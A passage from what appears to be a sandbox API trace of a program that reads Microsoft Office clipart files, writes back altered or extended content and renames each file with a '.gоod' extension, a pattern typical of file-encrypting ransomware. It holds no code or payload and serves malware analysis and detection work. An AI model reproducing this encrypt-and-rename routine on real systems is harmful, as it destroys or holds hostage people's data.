nFileSizeLow=0x6b0)) returned 1 [0216.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0216.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.gоod")) returned 1 [0216.079] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", lpFilePart=0x0) returned 0x44 [0216.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0216.080] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x36f8a48 | out: lpFileInformation=0x36f8a48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ec)) returned 1 [0216.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0216.080] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", lpFilePart=0x0) returned 0x44 [0216.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0216.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0216.080] GetFileType (hFile=0x808) returned 0x1 [0216.080] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0216.080] GetFileType (hFile=0x808) returned 0x1 [0216.080] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x5ec [0216.080] ReadFile (in: hFile=0x808, lpBuffer=0x36f92e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x36f92e0*, lpNumberOfBytesRead=0x1faedc88*=0x5ec, lpOverlapped=0x0) returned 1 [0216.221] CloseHandle (hObject=0x808) returned 1 [0216.267] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", lpFilePart=0x0) returned 0x44 [0216.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0216.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0216.269] GetFileType (hFile=0x808) returned 0x1 [0216.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0216.269] GetFileType (hFile=0x808) returned 0x1 [0216.269] WriteFile (in: hFile=0x808, lpBuffer=0x35db4f0*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x35db4f0*, lpNumberOfBytesWritten=0x1faedb98*=0x5f0, lpOverlapped=0x0) returned 1 [0216.270] CloseHandle (hObject=0x808) returned 1 [0216.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF", lpFilePart=0x0) returned 0x44 [0216.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0216.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0216.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d1dd449, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0216.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0216.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.gоod")) returned 1 [0216.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", lpFilePart=0x0) returned 0x44 [0216.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0216.271] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35dc780 | out: lpFileInformation=0x35dc780*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf92)) returned 1 [0216.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0216.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", lpFilePart=0x0) returned 0x44 [0216.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0216.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0216.271] GetFileType (hFile=0x808) returned 0x1 [0216.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0216.271] GetFileType (hFile=0x808) returned 0x1 [0216.271] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0xf92 [0216.271] ReadFile (in: hFile=0x808, lpBuffer=0x35dd9c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x35dd9c0*, lpNumberOfBytesRead=0x1faedc88*=0xf92, lpOverlapped=0x0) returned 1 [0216.421] CloseHandle (hObject=0x808) returned 1 [0217.637] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", lpFilePart=0x0) returned 0x44 [0217.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0217.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.639] GetFileType (hFile=0x860) returned 0x1 [0217.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0217.639] GetFileType (hFile=0x860) returned 0x1 [0217.639] WriteFile (in: hFile=0x860, lpBuffer=0x3649f58*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3649f58*, lpNumberOfBytesWritten=0x1faedb98*=0xfa0, lpOverlapped=0x0) returned 1 [0217.640] CloseHandle (hObject=0x860) returned 1 [0217.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF", lpFilePart=0x0) returned 0x44 [0217.640] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0217.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0217.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7defa429, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfa0)) returned 1 [0217.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0217.640] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.gоod")) returned 1 [0217.641] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0217.641] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x364b1e8 | out: lpFileInformation=0x364b1e8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcdbb058, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f86)) returned 1 [0217.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0217.642] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.643] GetFileType (hFile=0x860) returned 0x1 [0217.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.643] GetFileType (hFile=0x860) returned 0x1 [0217.643] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0217.643] ReadFile (in: hFile=0x860, lpBuffer=0x364b600, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x364b600*, lpNumberOfBytesRead=0x1faedd28*=0xf86, lpOverlapped=0x0) returned 1 [0217.644] CloseHandle (hObject=0x860) returned 1 [0217.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.644] GetFileType (hFile=0x860) returned 0x1 [0217.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.644] GetFileType (hFile=0x860) returned 0x1 [0217.644] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1f86 [0217.645] WriteFile (in: hFile=0x860, lpBuffer=0x364c898*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x364c898*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0217.645] CloseHandle (hObject=0x860) returned 1 [0217.645] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.645] GetFileType (hFile=0x860) returned 0x1 [0217.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.645] GetFileType (hFile=0x860) returned 0x1 [0217.645] ReadFile (in: hFile=0x860, lpBuffer=0x364eb58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x364eb58*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0217.674] CloseHandle (hObject=0x860) returned 1 [0217.674] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.674] GetFileType (hFile=0x860) returned 0x1 [0217.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.674] GetFileType (hFile=0x860) returned 0x1 [0217.674] WriteFile (in: hFile=0x860, lpBuffer=0x364d8b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x364d8b0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0217.674] CloseHandle (hObject=0x860) returned 1 [0217.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF", lpFilePart=0x0) returned 0x44 [0217.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0217.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0217.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7df466d6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f96)) returned 1 [0217.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0217.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.gоod")) returned 1 [0217.676] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0217.676] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x36caf48 | out: lpFileInformation=0x36caf48*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2458)) returned 1 [0217.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0217.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.677] GetFileType (hFile=0x860) returned 0x1 [0217.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.677] GetFileType (hFile=0x860) returned 0x1 [0217.677] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0217.678] ReadFile (in: hFile=0x860, lpBuffer=0x36cb360, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x36cb360*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0217.898] CloseHandle (hObject=0x860) returned 1 [0217.898] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.899] GetFileType (hFile=0x860) returned 0x1 [0217.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.899] GetFileType (hFile=0x860) returned 0x1 [0217.899] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x2458 [0217.899] WriteFile (in: hFile=0x860, lpBuffer=0x35e1f38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35e1f38*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0217.900] CloseHandle (hObject=0x860) returned 1 [0217.900] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0217.900] GetFileType (hFile=0x860) returned 0x1 [0217.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0217.900] GetFileType (hFile=0x860) returned 0x1 [0217.900] ReadFile (in: hFile=0x860, lpBuffer=0x35e41f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35e41f8*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0217.927] CloseHandle (hObject=0x860) returned 1 [0217.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF", lpFilePart=0x0) returned 0x44 [0217.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0217.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), 